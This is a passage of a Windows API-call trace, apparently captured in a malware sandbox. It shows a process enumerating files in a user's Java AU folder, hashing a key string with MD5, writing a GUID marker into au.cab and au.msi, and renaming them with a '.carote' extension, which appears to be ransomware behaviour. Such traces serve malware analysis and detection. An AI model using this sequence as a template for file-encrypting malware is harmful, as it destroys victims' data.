RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.043] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.043] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0114.044] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.044] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0114.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0114.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0114.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0114.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.044] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.045] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.045] PathFindFileNameW (pszPath="") returned="" [0114.045] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.046] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.046] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0114.046] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0114.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.047] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=581730) returned 1 [0114.047] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.048] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.048] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.050] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x25805, lpOverlapped=0x0) returned 1 [0114.054] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.055] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.055] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.055] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0114.055] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.055] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.055] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.056] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.056] GetLastError () returned 0x0 [0114.056] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.056] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0114.057] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.057] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.057] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.057] CloseHandle (hObject=0x61c) returned 1 [0114.065] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.carote")) returned 1 [0114.066] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0114.066] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0114.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.067] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=185344) returned 1 [0114.067] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.068] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.068] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.070] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.070] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x25805, lpOverlapped=0x0) returned 1 [0114.071] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.071] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.071] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.071] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0114.072] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.072] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.072] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.072] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.072] GetLastError () returned 0x0 [0114.072] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.072] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0114.073] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.073] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.073] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.073] CloseHandle (hObject=0x61c) returned 1 [0114.076] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.carote")) returned 1 [0114.077] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0114.077] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.077] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.077] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f818 [0114.077] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.077] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.077] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.077] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.077] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.077] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.077] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.077] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.078] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.078] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.079] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.079] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.080] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.080] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 